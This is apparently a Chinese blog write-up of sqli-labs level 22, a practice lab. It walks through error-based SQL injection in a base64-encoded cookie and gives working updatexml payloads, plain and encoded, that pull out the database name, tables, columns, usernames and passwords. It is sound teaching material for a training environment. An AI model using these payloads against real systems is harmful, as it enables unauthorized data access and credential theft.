sqli-labs关卡22(基于cookie被base64编码的报错盲注)

文章目录

  • 前言
  • 一、回顾上一关知识点
  • 二、靶场第二十二关通关思路
    • 1、判断注入点
    • 2、爆数据库名
    • 3、爆数据库表
    • 4、爆数据库列
    • 5、爆数据库关键信息
  • 总结


前言

此文章只用于学习和反思巩固sql注入知识,禁止用于做非法攻击。注意靶场是可以练习的平台,不能随意去尚未授权的网站做渗透测试!!!


一、回顾上一关知识点

上一关是基于cookie被base64编码的报错注入,突破点就是如何找到是cookie注入,并且能够识别base64编码形式。这一关只是闭合形式变了,原理一样。

二、靶场第二十二关通关思路

  • 1、判断注入点
  • 2、爆数据库名
  • 3、爆数据库表
  • 4、爆数据库列
  • 5、爆数据库关键信息

1、判断注入点

这里我们有了前几关的思路,我们登录测试账号admin/admin
发现和上一关一样,有cookie回显,我们也是可以猜测是cookie与数据库交互然后输出到web界面了。但是发现cookie值有等于号,是典型的base64编码形式。(如图所示)
sqli-labs关卡22(基于cookie被base64编码的报错盲注)_第1张图片
这里我们通过bp抓包进行测试发现输入双引号的时候发现报错,看报错信息说明是双引号闭合。(如图所示)
报错信息为

Issue with your mysql: You have an error in your SQL syntax; check the
manual that corresponds to your MySQL server version for the right
syntax to use near ‘“admin”" LIMIT 0,1’ at line 1

payload为

admin"
YWRtaW4i

第一个是原始语句,第二个是base64编码的语句,也就是我们要拼接到数据库的语句
sqli-labs关卡22(基于cookie被base64编码的报错盲注)_第2张图片
所以我们闭合掉多余的双引号
最终的payload为

admin"#
YWRtaW4iIw==

2、爆数据库名

因为有报错信息,没有回显账号数据,我们用报错注入。
payload为

admin" and updatexml(1,concat(0x3a,(select database()),0x3a),1)#
YWRtaW4iIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHgzYSwoc2VsZWN0IGRhdGFiYXNlKCkpLDB4M2EpLDEpIw==

sqli-labs关卡22(基于cookie被base64编码的报错盲注)_第3张图片
得到数据库名字

3、爆数据库表

payload为

admin" and updatexml(1,concat(0x3a,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x3a),1)#
YWRtaW4iIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHgzYSwoc2VsZWN0IHRhYmxlX25hbWUgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT1kYXRhYmFzZSgpIGxpbWl0IDMsMSksMHgzYSksMSkj

sqli-labs关卡22(基于cookie被base64编码的报错盲注)_第4张图片

4、爆数据库列

payload为

admin" and updatexml(1,concat(0x3a,(select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 1,1),0x3a),1)#
YWRtaW4iIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHgzYSwoc2VsZWN0IGNvbHVtbl9uYW1lIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgd2hlcmUgdGFibGVfc2NoZW1hPWRhdGFiYXNlKCkgYW5kIHRhYmxlX25hbWU9InVzZXJzIiBsaW1pdCAxLDEpLDB4M2EpLDEpIw==
admin" and updatexml(1,concat(0x3a,(select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 2,1),0x3a),1)#
YWRtaW4iIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHgzYSwoc2VsZWN0IGNvbHVtbl9uYW1lIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgd2hlcmUgdGFibGVfc2NoZW1hPWRhdGFiYXNlKCkgYW5kIHRhYmxlX25hbWU9InVzZXJzIiBsaW1pdCAyLDEpLDB4M2EpLDEpIw==

sqli-labs关卡22(基于cookie被base64编码的报错盲注)_第5张图片
sqli-labs关卡22(基于cookie被base64编码的报错盲注)_第6张图片

5、爆数据库关键信息

payload为

admin" and updatexml(1,concat(0x3a,(select password from users limit 0,1),0x3a),1)#
YWRtaW4iIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHgzYSwoc2VsZWN0IHBhc3N3b3JkIGZyb20gdXNlcnMgbGltaXQgMCwxKSwweDNhKSwxKSM=
admin" and updatexml(1,concat(0x3a,(select username from users limit 0,1),0x3a),1)#
YWRtaW4iIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHgzYSwoc2VsZWN0IHVzZXJuYW1lIGZyb20gdXNlcnMgbGltaXQgMCwxKSwweDNhKSwxKSM=

sqli-labs关卡22(基于cookie被base64编码的报错盲注)_第7张图片
sqli-labs关卡22(基于cookie被base64编码的报错盲注)_第8张图片


总结

这一关的方法和上一关大差不差,主要是要知道http头部注入的方法,能看得出base64编码。此文章是小白自己为了巩固sql注入而写的,大佬路过请多指教!

你可能感兴趣的:(数据库,web安全,sql)